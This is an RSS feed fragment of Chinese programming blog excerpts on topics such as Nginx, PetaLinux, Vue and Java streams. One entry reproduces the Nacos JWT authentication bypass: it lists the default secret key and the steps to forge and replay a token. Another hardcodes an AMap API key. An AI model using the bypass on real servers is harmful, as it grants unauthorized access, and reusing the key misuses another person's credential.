      <pubDate>Tue, 19 Sep 2023 15:28:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5723d086ddc4dedc2206ec6c57644c67/</guid>
      <description>目录 一、概述二、抓取模组log2.1 硬件接口2.2 用户登录2.3 相关指令 三、测试AT指令3.1 查看端口3.2 进入模式 四、串口发16进制echo使用 一、概述 二、抓取模组log 在之前记录了通过USB，使用移远工具Qwinlog来抓取log（3.3 抓取模组log）。&#xA;现在记录下使用debug串口抓取模组log。&#xA;2.1 硬件接口 根据模组手册，debug串口如下：&#xA;2.2 用户登录 使用MobaXterm进行串口连接。通过上电后会看到打印的log。敲击回车，会提示输入用户名。依次输入用户名、密码，即可登录设备：&#xA;2.3 相关指令 抓取log方法如下：&#xA;1. 在模组debug UART口执行以下命令： echo 1 &amp;gt; /sys/module/printk/parameters/perf_mode_console echo 1 &amp;gt; /sys/module/msm_show_resume_irq/parameters/debug_mask echo 0x2 &amp;gt; /sys/module/ipc_router_core/parameters/debug_mask 2. 然后让模块进入休眠，复现到问题，提供下模组debug 口的log. 模组休眠后，并不会断开连接。可以抓取模组的唤醒过程。&#xA;三、测试AT指令 通过debug串口也是可以发送AT指令的。&#xA;3.1 查看端口 结合时间，可以看出是smd8。&#xA;3.2 进入模式 使用microcom /dev/smd8指令（microcom用法），进入测试。在刚进入的时候，输入AT等指令，可以回复（无指令回显）。但是过一会就异常了：&#xA;使用ctrl+x退出测试。异常原因和指令没有回显的问题，暂未解决。&#xA;四、串口发16进制 通过在MPU端直接发送串口指令给MCU，来模拟APP远程控制。为了不修改MPU程序，在终端使用echo发送数据：0x55 0xAA 0x02 0x40 0x00 0x01 0x81 0x3C 0x01，也就是：&#xA;echo -e &#34;\x55\xAA\x02\x40\x00\x01\x81\x3C\x01&#34; &amp;gt; /dev/ttyHS0 echo使用 使用&amp;gt;</description>
    </item>
    <item>
      <title>Nginx server_name 域名 虚拟主机配置</title>
      <link>https://bchobby.github.io/posts/c6f01fa7de717e7fc83d1f98f57bdcfa/</link>
      <pubDate>Tue, 19 Sep 2023 11:50:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6f01fa7de717e7fc83d1f98f57bdcfa/</guid>
      <description>Nginx核心指令listen与server_name入门&#xA;域名 一般一个域名对应一个IP，而一个IP可以有多个域名。&#xA;域名是分级别的：一级域名（顶级域名）、二级域名、三级域名等，以英文的句点（.）进行分隔；一级域名可以包括多个二级域名，一个二级域名可以包括多个三级域名，以此类推。域名是需要在特定的组织进行注册或备案。&#xA;顶级域名就是一级域名，比如 .com、.net、.org、.com. cn、.cn，N级域名就是在N-1级域名前追加一级。&#xA;各种域名后缀都有不同含义。例如 .com 意为商业/公司（Commercial / companies / company ），.net 意为网络（network），.org 意为组织（organization）。&#xA;比如二级域名是在一级域名前加一级，二级域名示例：http://baidu.com http://qq.com&#xA;注： 有些人会说 http://baidu.com 知乎 - 有问题，就会有答案 http://qq.com 是一级域名，虽然是错误的-但可以理解(说的人多了也就是对的了……)，这是站在使用者/购买者角度看的，对于购买域名者来说 http://xxx.com http://xxx.com.cn就相当一级域名，但是从真正的域名分级看，它们俩分别是二级域名、三级域名。&#xA;多级域名 顶级域名、一级域名 Top-level domains，first-level domains（TLDs），也翻译为国际顶级域名，也成一级域名。&#xA;.com 供商业机构使用，但无限制最常用&#xA;.net 原供网络服务供应商使用，现无限制&#xA;.org 原供不属于其他通用顶级域类别的组织使用，现无限制&#xA;.edu / .gov / .mil 供美国教育机构/美国政府机关/美国军事机构。因历史遗留问题一般只在美国专用&#xA;.tel 供连接电话网络与因特网的服务使用&#xA;.post 供邮政服务使用&#xA;.mail 供邮件网站使用&#xA;国家顶级域名：cn（中国大陆）、de（德国）、eu（欧盟）、jp（日本）、hk（中国香港）、tw（中国台湾）、uk（英国）、us（美国）&#xA;二级域名 二级域（或称二级域名；英语：Second-level domain；英文缩写：SLD）是互联网DNS等级之中，处于顶级域名之下的域。二级域名是域名的倒数第二个部分，例如在域名example.baidu.com中，二级域名是baidu。&#xA;.com 顶级域名/一级域名，更准确的说叫顶级域&#xA;baidu.com 二级域名，更准确的说叫二级域&#xA;tieba.baidu.com 三级域名，更准确的说叫三级域&#xA;detail.tieba.baidu.com 四级域名，更准确的说叫四级域&#xA;......&#xA;子域名 子域名（或子域；英语：Subdomain）是在域名系统等级中，属于更高一层域的域。&#xA;比如，mail.example.com和calendar.example.com是example.com的两个子域，而example.com则是顶级域.com的子域。&#xA;凡顶级域名前加前缀的都是该顶级域名的子域名，而子域名根据技术的多少分为二级子域名，三级子域名以及多级子域名。</description>
    </item>
    <item>
      <title>Nacos身份绕过漏洞复现（QVD-2023-6271）</title>
      <link>https://bchobby.github.io/posts/b088a5870849480e5b25814765b98c73/</link>
      <pubDate>Tue, 19 Sep 2023 11:34:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b088a5870849480e5b25814765b98c73/</guid>
      <description>一、背景 nacos安全预警，对问题复现后进行修复。&#xA;漏洞原理为开源服务管理平台 Nacos在默认配置下未对 token.secret.key 进行修改，导致远程攻击者可以绕过密钥认证进入后台造成系统受控等后果。&#xA;漏洞信息&#xA;漏洞类型：身份认证绕过&#xA;漏洞等级：高危&#xA;漏洞编号：NVDB-CNVDB-2023674205&#xA;漏洞影响范围：&#xA;0.1.0 &amp;lt;= Nacos &amp;lt;= 2.2.0基本上都受到了影响，最新的版本已修复漏洞。&#xA;漏洞的本质是因为使用了默认的key&#xA;JWT（JSON Web Token）是一种用于在网络应用之间安全传递信息的开放标准。在使用JWT时，通常需要使用密钥对token进行签名，以确保token在传输过程中不被篡改。如果在代码中将密钥硬编码到应用程序中，将会存在JWT硬编码漏洞。&#xA;JWT硬编码漏洞是指将密钥硬编码到应用程序代码中，而不是存储在安全的密钥存储库中，攻击者可以轻松地获取该密钥并使用其签署和验证JWT。这使攻击者可以创建或修改JWT，或者验证伪造的JWT，从而导致安全漏洞。例如，应用程序使用硬编码密钥对JWT进行签名，攻击者可以轻松获取该密钥并创建有效的JWT，该JWT会被误认为是经过身份验证的用户，从而获得未经授权的访问权限。因此，为了避免JWT硬编码漏洞，应该将密钥存储在安全的密钥存储库中，并且只有授权的应用程序可以访问它。&#xA;二、复现步骤 （一）安装nacos服务 略过&#xA;（二）JWT构造 1、nacos默认key nacos默认key（token.secret.key值的位置在conf下的application.properties）&#xA;SecretKey012345678901234567890123456789012345678901234567890123456789&#xA;2、unix时间戳 需要大于当前系统时间&#xA;3、JWT认证构造 https://jwt.io&#xA;（三）浏览器fetch重发确认 1、报文复制 2、添加认证信息 3、报文重发 确认可以登录成功&#xA;（四）burp拦截模拟 关闭代理，成功绕过</description>
    </item>
    <item>
      <title>Petalinux快速入门向导 (4) 第三章.PetaLinux开发基本流程</title>
      <link>https://bchobby.github.io/posts/0ea58bc2a1b54e3833f98f29f9df3fdd/</link>
      <pubDate>Mon, 18 Sep 2023 22:06:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ea58bc2a1b54e3833f98f29f9df3fdd/</guid>
      <description>配置环境变量 source /opt/xilinx/p201/settings.sh 如果已经在bashrc里面添加了这行，则可以省略&#xA;2. 创建project&#xA;创建工程有几种方式&#xA;1）基于cpu模板创建基本的框架，然后在后续用petalinux-config导入vivado导出的xsa(hdf)文件&#xA;petalinux-create -t project --template &amp;lt;CPU-TYPE&amp;gt; -n &amp;lt;PROJECT-NAME&amp;gt;&#xA;其中，&#xA;&amp;lt;CPU-TYPE&amp;gt;为CPU类型，具体值可为：zynqMP (for UltraScale+ MPSoC)、zynq (for Zynq)、microblaze (for MicroBlaze)&amp;lt;PROJECT-NAME&amp;gt;为工程名称 例如：&#xA;petalinux-create -t project --template zynqMP -n test1&#xA;2) 基于官方提供的bsp包&#xA;petalinux-create -t project -s test.bsp&#xA;3. 基于Vivado产生的硬件描述文件的创建工程&#xA;petalinux-config --get-hw-description=&amp;lt;PATH-TO-HDF/XSA-DIRECTORY&amp;gt;&#xA;其中，&amp;lt;PATH-TO-HDF/XSA-DIRECTORY&amp;gt;为Vivado硬件描述文件所在目录路径；老版本的硬件描述文件的后缀名为hdf，新版本的后缀名为xsa，其他是相同的。&#xA;注意：这里是指xsa文件所在的目录，不是文件名&#xA;假设test1.xsa在当前目录，则&#xA;cd test1&#xA;petalinux-config --get-hw-description=../&#xA;4.设置缓存目录&#xA;在project-spec/meta-user/conf/petalinuxbsp.conf文件中&#xA;gedit project-spec/meta-user/conf/petalinuxbsp.conf&#xA;增加以下几行&#xA;DL_DIR = &#34;/opt/xilinx/p201/downloads&#34;&#xA;SSTATE_DIR = &#34;/opt/xilinx/p201/sstate/aarch64&#34;&#xA;RM_WORK_EXCLUDE += &#34;linux-xlnx&#34;&#xA;RM_WORK_EXCLUDE += &#34;u-boot-xlnx&#34;&#xA;5. 配置u-boot</description>
    </item>
    <item>
      <title>更改cmd powershell默认编码为utf-8 更改windows默认编码格式为UTF-8，解决控制台cmd乱码，设置应用默认编码为UTF-8</title>
      <link>https://bchobby.github.io/posts/4fbae1e0408f025189caa2a88fa591b3/</link>
      <pubDate>Mon, 18 Sep 2023 21:54:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fbae1e0408f025189caa2a88fa591b3/</guid>
      <description>在命令行输入chcp查看当前windows默认编码&#xA;936 对应 GBK&#xA;65001 对应 UTF-8&#xA;方法1：临时更改cmd和powershell窗口中文编码方法 在命令行输入如下命令，可以临时更改当前窗口编码&#xA;chcp 936 改为gbk&#xA;chcp 65001 改为utf-8&#xA;方法2：永久修改cmd编码，修改注册表，适用于cmd，在各种开发工具终端中均生效 按win+r，输入regedit运行，进入注册表&#xA;找到【HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor】&#xA;新建一个表项，命名为autorun，值设为chcp 65001&#xA;每次启动cmd会自动更改编码为utf-8&#xA;方法3：永久修改powershell编码，添加profile文件，在VSCode/IDEA等开发工具中均生效。 以管理员身份打开powershell，注意，以管理员身份，不然不能生效，依次执行如下命令：&#xA;#允许运行自定义脚本 set-executionpolicy remotesigned #创建默认profile，如果存在则不创建 if (!(Test-Path -Path $PROFILE)) { New-Item -ItemType File -Path $PROFILE -Force } #查看创建的profile文件位置 $PROFILE 根据输出的位置，找到profile文件，例如&#xA;C:\Users\Yuanfei\Documents\PowerShell\Microsoft.PowerShell_profile.ps1 使用编辑器打开，加入一行：&#xA;$OutputEncoding = [console]::InputEncoding = [console]::OutputEncoding = New-Object System.Text.UTF8Encoding 然后重启powershell,使用chcp查看编码，发现已经修改成了65001.&#xA;方法4：安装Terminal终端，统一管理cmd和powershell编码方法 从微软商店或者github搜索 terminal，安装后打开，会自动集成cmd和powershell，打开下拉菜单进入设置&#xA;点击powershell的配置项，编辑命令行，在命令后面加上 -NoExit -Command chcp 65001，保存，每次使用终端打开powershell会自动设置为utf-8&#xA;打开cmd配置项，编辑命令行，加上/k chcp 65001，保存，每次使用终端打开cmd会自动设置为utf-8。&#xA;如果不希望自动改为utf-8，只需要把上述步骤中添加的命令删除即可。 方法5： 创建快捷方式，添加运行参数，powershell cmd通用 以powershell为例，cmd操作类似。</description>
    </item>
    <item>
      <title>ArcGisPro脚本工具【3】——高德POI爬取</title>
      <link>https://bchobby.github.io/posts/b7e31c904df3374f460ad27d34bcebde/</link>
      <pubDate>Mon, 18 Sep 2023 17:58:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7e31c904df3374f460ad27d34bcebde/</guid>
      <description>欢迎关注同名微信公众号，更多文章推送：&#xA;本次Arcpy脚本工具用的是ArcGisPro2.8版本，尽量使用同一版本，其它版本可以参照。&#xA;工具介绍 本工具通过高德开放的【搜索POI】的API进行爬取。在此之前，需要先进入官网申请一个key。网址如下：&#xA;获取高德地图Keyhttps://lbs.amap.com/api/webservice/guide/create-project/get-key&#xA;申请方法可以看下这个指南，或者网上搜一下别的大神的教程。&#xA;参数设置 参数只有2个。&#xA;1、【输入城市名或城市代码】——这里随工具附带了一个高德地图的城市代码表，分别是城市名和对应的城市代码，一般情况下填城市名就可以了，不过有的城市特别是区会存在重名的情况，而城市代码都是唯一值，填代码更稳妥一点：&#xA;2、【输出POI点】——输出一个点要素。&#xA;脚本编写 代码比较长，就不细说了，就是调用官方提供的POI，获取POI信息，转点，再通过坐标转换，把高德用的【gcj02坐标】,也称为火星坐标，转换成【WGS84坐标】，和【CGCS2000国家大地坐标】基本可以认为一致。&#xA;其中坐标转换的代码单独写成了一个脚本，不要删掉它！&#xA;主代码如下：&#xA;# -*- coding:utf-8 -*- from urllib.parse import quote from urllib import request import json import xlwt import requests import arcpy import os arcpy.env.overwriteOutput = True # 工具箱输入参数 cityname = arcpy.GetParameterAsText(0) # 输入城市名称或代码 point = arcpy.GetParameterAsText(1) # 输出结果POI # 获取文档位置 default_path = os.path.dirname(__file__) arcpy.ImportToolbox(default_path + r&#34;\cc工具箱.tbx&#34;) # 加载cc工具箱 excelPath = default_path + r&#39;\output.xls&#39; # 临时excel文件 tablePath = r&#39;memory\tablePOI&#39; # 临时的坐标点表格 #TODO 替换为申请的密钥 amap_web_key = &#39;6d71f68deb0d1b2087b482242d93f030&#39; poi_search_url = &#34;</description>
    </item>
    <item>
      <title>node.js的安装与配置</title>
      <link>https://bchobby.github.io/posts/3eb1a8c9952a553ff0f23786b539a7ad/</link>
      <pubDate>Mon, 18 Sep 2023 17:36:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3eb1a8c9952a553ff0f23786b539a7ad/</guid>
      <description>node的下载 下载方式： 可以在首页直接下载最新版本：https://nodejs.cn/download/可以查看所有安装包并选择自己需要的版本：https://registry.npmmirror.com/binary.html?path=node/ 文件类型的选择： 以msi结尾的是可执行程序压缩包的可以手动解压并添加相关环境配置&#xA;下载方式 msi 一直【next】就完了，然后【install】安装，安装完后点击【Finish】按钮完成安装&#xA;压缩包安装方式 将下载好的压缩包解压到对应的文件夹即可。&#xA;配置环境变量 首先在安装node的界面创建两个文件夹：&#xA;同时点击：win+r键输入cmd点击回车打开黑窗口&#xA;在黑窗口中执行以下两行命令&#xA;随后在用户环境变量的Path中添加路径&#xA;在系统变量中通过点击新建按钮创建新的环境变量，如果之前已经配置过node则直接添加即可。&#xA;最后进行测试</description>
    </item>
    <item>
      <title>JDK8辅助学习(七)：IntStream</title>
      <link>https://bchobby.github.io/posts/03b184b2752022e05ccb5810f0a06ad7/</link>
      <pubDate>Mon, 18 Sep 2023 17:04:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03b184b2752022e05ccb5810f0a06ad7/</guid>
      <description>本文目录 1.创建IntStream流(IntStream中的静态方法：of / builder/ range / rangeClosed / generate / iterate)2.filter3.map4.flatMap5.peek6.mapToObj / mapToLong / mapToDouble / asLongStream / asDoubleStream7.forEach / forEachOrdered8.distinct9.sorted10.limit11.skip12.reduce13.sum / min / max / count / average / summaryStatistics14.anyMatch / allMatch / noneMatch15.findFirst / findAny16.sequential / parallel17.iterator18.boxed19.toArray20.close / onClose21.collect 本章节我们提供一些 Java 8 中的 IntStream、LongStream 和 DoubleStream 使用范例。IntStream、LongStream 和 DoubleStream 分别表示原始 int 流、 原始 long 流 和 原始 double 流。&#xA;这三个原始流类在 java.util.stream 命名空间下，并提供了大量的方法用于操作流中的数据，同时提供了相应的静态方法来初始化它们自己。&#xA;本文仅介绍IntStream的方法，LongStream/DoubleStream 的使用同 IntStream 一致，此处不再过多介绍。&#xA;1.创建IntStream流(IntStream中的静态方法：of / builder/ range / rangeClosed / generate / iterate) 创建IntStream流的几种方式，如下：</description>
    </item>
    <item>
      <title>JDK8新特性(三)：集合之 Stream 流式操作</title>
      <link>https://bchobby.github.io/posts/534434431155e9190fa1bdaed745e817/</link>
      <pubDate>Mon, 18 Sep 2023 17:04:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/534434431155e9190fa1bdaed745e817/</guid>
      <description>1.Stream流由来 首先我们应该知道：Stream流的出现，主要是用在集合的操作上。在我们日常的工作中，经常需要对集合中的元素进行相关操作。诸如：增加、删除、获取元素、遍历。&#xA;最典型的就是集合遍历了。接下来我们先举个例子来看看 JDK8 Stream流式操作出现之前，我们对集合操作的过程，从中来了解一下 JDK8 之前集合操作数据的弊端。&#xA;Demo：现在有一个List集合，集合中有如下数据：&#34;张无忌&#34;、&#34;周芷若&#34;、&#34;杨逍&#34;、&#34;张强&#34;、&#34;张三丰&#34;、&#34;赵敏&#34;&#xA;需求：1.拿到所有姓&#34;张&#34;的名字 2.拿到长度为3个字的名字 3.将最终结果进行打印&#xA;/** * TODO JDK8前遍历集合 Vs JDK8 Stream()流遍历集合 * * @author liuzebiao * @Date 2020-1-7 17:49 */ public class Demo { public static void main(String[] args) { List&amp;lt;String&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); Collections.addAll(list,&#34;张无忌&#34;,&#34;周芷若&#34;,&#34;杨逍&#34;,&#34;张强&#34;,&#34;张三丰&#34;,&#34;赵敏&#34;); /** * 需求： * 1.拿到所有姓&#34;张&#34;的名字 * 2.拿到长度为3个字的名字 * 3.将最终结果进行打印 */ //JDK8 以前遍历操作集合 /*****************多次for循环********************/ //1.1 拿到所有行&#34;张&#34;的名字 List&amp;lt;String&amp;gt; zhangList = new ArrayList&amp;lt;&amp;gt;(); for (String name : list) { if(name.</description>
    </item>
    <item>
      <title>7.Closing non transactional SqlSession 导致事务失败问题</title>
      <link>https://bchobby.github.io/posts/990967ff19e144b2c9441ceeb6e242ae/</link>
      <pubDate>Mon, 18 Sep 2023 17:02:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/990967ff19e144b2c9441ceeb6e242ae/</guid>
      <description>博主在研究Spring事务源码，编写测试代码时，出现了Closing non transactional SqlSession 导致事务失败的问题，于是写下这篇文章，记录一下这个问题。&#xA;前提 已经通过配置方式，开启了 Spring 声明式事务。配置没问题，按正常情况，如下代码将会在执行两次 insert() 插入操作后，因 RuntimeException 异常而导致回滚。&#xA;@Override @Transactional public void add(Integer num){ userDao.insertB(); userDao.insertA(); if (num &amp;lt; 5) { throw new RuntimeException(&#34;测试异常&#34;); } } 结果却是： 事务都是正提交。然后博主在 编程式事务 和 声明式事务 之前切换，怀疑自己配置错了，却始终都是一样的结果。完全无厘头了，因为自己配置没有任何问题，都开始怀疑 Spring 版本的问题了。&#xA;在测试项目中，有配置多个 xml 文件，通过 &amp;lt;import&amp;gt; 的方式引入。如下图所示：各个配置文件分别对应 MVC，MyBatis，Transaction 的配置。&#xA;问题所在：&#xA;在 spring-mvc.xml 中，配置 &amp;lt;context:component-scan base-package=“com.mvc”/&amp;gt; 开启配置扫描。就是在这里出了问题！！！ 它会扫描 com.mvc 包下的所有注解。&#xA;此处我们将扫描注解配置分开来扫。&#xA;spring-mvc.xml 中，修改为只扫描com.mvc.Controller 包下的注解。spring-mybatis.xml中，只扫描 service 和 dao包下的注解。 配置完成后，再次启动工程，测试发现：事务OK了。 如图↓↓↓&#xA;完美。具体原因不清楚为什么。。。正常了，就这吧，也不深研究为什么了。代码就是太深奥&#xA;我的整个工程只配置了一个 &amp;lt;context:component-scan&amp;gt;，有的小伙伴可能配置了多个扫描，出现一个包被多次扫描的问题，导致冲突。也有可能出现事务失败的问题。&#xA;博主写作不易，来个关注呗</description>
    </item>
    <item>
      <title>Vuex 命名空间 namespaced 介绍</title>
      <link>https://bchobby.github.io/posts/72c82d59f39be23e3fc460d629025a8b/</link>
      <pubDate>Mon, 18 Sep 2023 17:00:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72c82d59f39be23e3fc460d629025a8b/</guid>
      <description>接上篇：组件中调用Vuex的state，getters，mutations，actions，modules的数据传递、传参问题&#xA;Vuex由于使用单一状态树，应用的所有状态会集中到一个比较大的对象。当应用变得非常复杂时，store 对象就有可能变得相当臃肿。&#xA;因此，Vuex 允许我们将 store 分割成模块（module），每个模块拥有自己的 state、mutation、action、getter、甚至是嵌套子模块。&#xA;默认情况下，模块内部的 action、mutation 和 getter 是注册在全局命名空间的，这样使得多个模块能够对同一 mutation 或 action 作出响应。如果希望你的模块具有更高的封装度和复用性，此时就用到了命名空间这个概念。&#xA;1.如何使模块成为一个命名空间模块？ 你可以在单个模块中通过添加namespaced：true的方式使其成为带命名空间的模块。&#xA;const moduleA ={ namespaced:true, //开启namespace:true，该模块就成为命名空间模块了 state:{ count:10, countA:888 }, getters:{...}, mutations:{...}, actions:{...} } 2.组件中如何获取带有命名空间moduleA中的state数据？ 1、基本方式： this.$store.state.moduleA.countA 2、mapState辅助函数方式： ...mapState({ count:state=&amp;gt;state.moduleB.countB }) 获取state数据，与11.组件中调用Vuex的state，getters，mutations，actions，modules的数据传递、传参问题_扛麻袋的少年的博客-CSDN博客 中的1.State中的取法一样&#xA;3.组件中调用命名空间模块中的getters 共有三种方式，如下： //1. commonGetter(){ this.$store.getters[&#39;moduleA/moduleAGetter&#39;] }, //2. ...mapGetters(&#39;moduleA&#39;,[&#39;moduleAGetter&#39;]),此处的moduleA，不是以前缀的形式出现！！！ //3.别名状态下 ...mapGetters({ paramGetter:&#39;moduleA/moduleAGetter&#39; }), 4.组件中调用命名空间模块中的Mutations 共有三种方式，如下： //1,3加个前缀moduleA/，都可以实现。2使用辅助函数未变名称的特殊点！！！ //1. commonMutation(){ this.$store.commit(&#39;moduleA/moduleAMutation&#39;); }, //2. ...mapMutations(&#39;moduleA&#39;,[&#39;moduleAMutation&#39;]), //3.别名状态下 ...mapMutations({ changeNameMutation:&#39;moduleA/moduleAMutation&#39; }), 5.组件中调用命名空间模块中的Actions（与mutations一致） 共有三种方式，如下： 1,3加个前缀moduleA/，都可以实现。2使用辅助函数未变名称的特殊点！！！ //1.</description>
    </item>
    <item>
      <title>8.idea 使用 docker 构建 java web 项目</title>
      <link>https://bchobby.github.io/posts/c94c38d7b7b3821e4d248c48d7ccf220/</link>
      <pubDate>Mon, 18 Sep 2023 16:56:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c94c38d7b7b3821e4d248c48d7ccf220/</guid>
      <description>docker 构建 java web 项目 和 docker 构建 spring boot 项目，除了 Dockerfile 不同，其他是都一样的。其他步骤参考：idea 使用 docker 构建 spring boot 项目，构建 Java Web 项目的 Dockerfile示例如下：&#xA;因为 java web 项目打的是 war 包，docker 需要依赖的基础镜像是 tomcat&#xA;附一个 Dockerfile 示例：&#xA;# 基于 Tomcat9 作为基础镜像 FROM tomcat:9.0 # 作者 MAINTAINER lzb&amp;lt;xxx@qq.com&amp;gt; # 进入 Tomcat 部署目录 WORKDIR /usr/local/tomcat/webapps # 定义参数 ARG JAR_FILE # 将 war 包拷贝到 tomcat 中，并且改名为 ROOT COPY ${JAR_FILE} ROOT.war # 回到 Tomcat 根目录 WORKDIR /usr/local/tomcat/ # 启动时运行命令 CMD bin/catalina.</description>
    </item>
    <item>
      <title>PhotoShop 将所有图层按照当前画布大小导出</title>
      <link>https://bchobby.github.io/posts/058b2dfb2c176afe030aeed5113e63a5/</link>
      <pubDate>Mon, 18 Sep 2023 16:49:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/058b2dfb2c176afe030aeed5113e63a5/</guid>
      <description>PhotoShop 将所有图层按照当前画布大小导出 前言项目代码编写运行脚本导出图 前言 需要一个将PS图层按照当前画布大小全部导出的功能。&#xA;项目 代码编写 将下面代码保存成ExportAllLayer.jsx，作为ps运行脚本&#xA;// 保存当前活动文档和图层 var originalDoc = app.activeDocument; var originalLayer = originalDoc.activeLayer; // 打开一个对话框，让用户选择保存文件的文件夹 var folder = Folder.selectDialog(&#34;请选择保存文件的文件夹&#34;); if (folder !== null) { // 遍历原始文档的所有图层 for (var i = 0; i &amp;lt; originalDoc.artLayers.length; i++) { var layer = originalDoc.artLayers[i]; originalDoc.activeLayer = layer; // 设置活动图层 layer.copy(); // 复制图层内容 // 创建一个临时文档用于存储每个图层 var tempDoc = app.documents.add(originalDoc.width, originalDoc.height, originalDoc.resolution, &#34;temp&#34;, NewDocumentMode.RGB, DocumentFill.TRANSPARENT); tempDoc.paste(); // 粘贴复制的内容 // 保存图层为PNG var outputFile = new File(folder + &#39;/&#39; + layer.</description>
    </item>
    <item>
      <title>Vue3 Watch监听函数</title>
      <link>https://bchobby.github.io/posts/c6ad4f1bdbdffae506f9857bedfd9e46/</link>
      <pubDate>Mon, 18 Sep 2023 15:50:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6ad4f1bdbdffae506f9857bedfd9e46/</guid>
      <description> tep1：引入watch函数和toRaw方法&#xA;import { watch, toRaw } from &#34;vue&#34; tep2:监听&#xA;// 监听函数，监听formState对象,对象类型监听要开启deep深度监听 watch( formState, (newData, oldData) =&amp;gt; { console.log(toRaw(newData), toRaw(oldData));//toRaw()为取到proxy对象中的数据 }, { deep: true, } ); tep3:监听对象中某一属性的变化时需要改为回调函数&#xA;watch( () =&amp;gt; formState.value.user, () =&amp;gt; console.log(formState.value.user) ); </description>
    </item>
    <item>
      <title>Vue3全局挂载公共方法(以挂载ant的提醒方法为例)</title>
      <link>https://bchobby.github.io/posts/f1c41f34ad970e0fce0fbe28c4cef472/</link>
      <pubDate>Mon, 18 Sep 2023 15:50:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1c41f34ad970e0fce0fbe28c4cef472/</guid>
      <description> 使用 getCurrentInstance()方法： tep1：&#xA;// 在main.js先引入ant的提醒方法 import { message } from &#39;ant-design-vue&#39;; // 全局挂载ant提醒方法 app.config.globalProperties.$message = message tep2:&#xA;// 在页面中定义{ proxy } 为 getCurrentInstance()方法 const { proxy } = getCurrentInstance(); // 使用 proxy.$message.success(&#34;操作成功&#34;); 以上内容为最新Vue3版本删除了，但还能使用，挂载全局方法官方推荐使用provide，inject&#xA;tep1:&#xA;// 在main.js先引入ant的提醒方法(挂载什么就用什么) import { message } from &#39;ant-design-vue&#39;; // 在定义app的原型上用provide进行挂载 app.provide(&#34;message&#34;, message) // 在页面中引入inject import { inject, onMounted } from &#39;vue&#39; // 定义一个方法取出inject中挂载的需要的方法 var msg = inject(&#39;message&#39;) // 在onMounted中直接使用 onMounted(()=&amp;gt;{ msg.success(&#34;操作成功&#34;) }) </description>
    </item>
    <item>
      <title>vue2 element ui 的表格使用 sortablejs 拖拽列遇到的问题和解决方案</title>
      <link>https://bchobby.github.io/posts/3537fca42d720203987aa28d46cecb1e/</link>
      <pubDate>Mon, 18 Sep 2023 10:12:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3537fca42d720203987aa28d46cecb1e/</guid>
      <description> 项目使用 element ui 的表格实现拖动表头可改变列的宽度，又使用sortablejs实现表格的列可拖拽到其他列的位置，导致出现如下的一些问题：&#xA;1、某一列宽变大或变小后，只有当前列可拖拽，其他列无法拖拽。&#xA;解决方案：在列宽发生改变后，销毁当前拖拽实例，再重新创建拖拽实例。&#xA;this.sortDemo.destroy() 此方法可查看sortablejs官网 Sortable.js中文网&#xA;2、当表格没有横向滚动条时，某一列宽变大或变小时，其他列宽也会变大或变小。&#xA;根因：表格的每一列设置了min-width，当表格没有横向滚动条时，某一列宽变大或变小时，min-width 会把剩余宽度按比例分配给设置了 min-width 的列，这样才可以撑开表格的整体宽度。&#xA;结论：当表格有横向滚动条时就不会出现这个问题。&#xA;3、当表格没有数据时，列不可以拖拽，改变列宽后可拖拽。&#xA;解决方案：表格数据更新后，不管表格数据接口有没有返回数据，都需重新挂载拖拽监听事件，才可以拖拽列。&#xA;this.reDrawTable() </description>
    </item>
    <item>
      <title>MySQL系列：mysql5.7下载地址、安装步骤</title>
      <link>https://bchobby.github.io/posts/2fd11eb9bd54dd5147eb8cc2de468605/</link>
      <pubDate>Mon, 18 Sep 2023 10:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2fd11eb9bd54dd5147eb8cc2de468605/</guid>
      <description> 下载地址 MySQL :: Download MySQL Installer&#xA;https://dev.mysql.com/downloads/installer/&#xA;选择版本 下载 安装 </description>
    </item>
    <item>
      <title>keithley2400数字源表（吉时利）2400</title>
      <link>https://bchobby.github.io/posts/e1042e38cc9c0279bd8ccbd4c49c023e/</link>
      <pubDate>Mon, 18 Sep 2023 08:27:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1042e38cc9c0279bd8ccbd4c49c023e/</guid>
      <description> 181/2461/8938描述&#xA;2400型源表是一个20W的仪器，可以提供和测量从1 V到200V DC的电压和从10pA到1A的电流。它非常适合测试各种器件，包括二极管、电阻、电阻网络、有源电路保护器件以及便携式电池供电器件和元件。它对于系统电源和IDDQ测试应用也很有用&#xA;Keithley 2400 SourceMeter是一款20W仪器，可以采集和测量从5 V(采集)和1 V(测量)到200V DC的电压以及从10pA到1A的电流。万用表的功能包括高重复性和低噪声。结果是一个紧凑的，单通道，DC参数测试仪。在操作中，Keithley 2400源表可以作为电压源、电流源、电压表、电流表和欧姆表。通信、半导体、计算机、汽车和医疗行业的组件和模块制造商将会发现SourceMeter仪器对于各种表征和生产测试应用具有不可估量的价值。&#xA;Keithley 2400源表非常适合测试各种器件，包括二极管、电阻、电阻网络、有源电路保护器件、便携式电池供电器件和元件，以及热敏电阻、太阳能电池、电池和大电流或中功率二极管，包括开关和肖特基二极管。该源表也适用于系统供电和IDDQ测试应用。&#xA;Keithley 2400源表的特性和规格包括:&#xA;四象限运行0.012%基本精度，5 1/2位数分辨率带可编程I源和V箝位的6线O测量通过GPIB以4 1/2位数每秒1700次读数电源特性包括低噪声、高精度和回读用于快速通过/失败测试的内置比较器用于快速宁滨的数字I/O和到组件处理器的连接GPIB、RS-232和触发链路接口测试点和LabVIEW驱动程序 </description>
    </item>
    <item>
      <title>spring-security-oauth2-authorization-server（二）Token生成分析之JWT Token和Opaque Token</title>
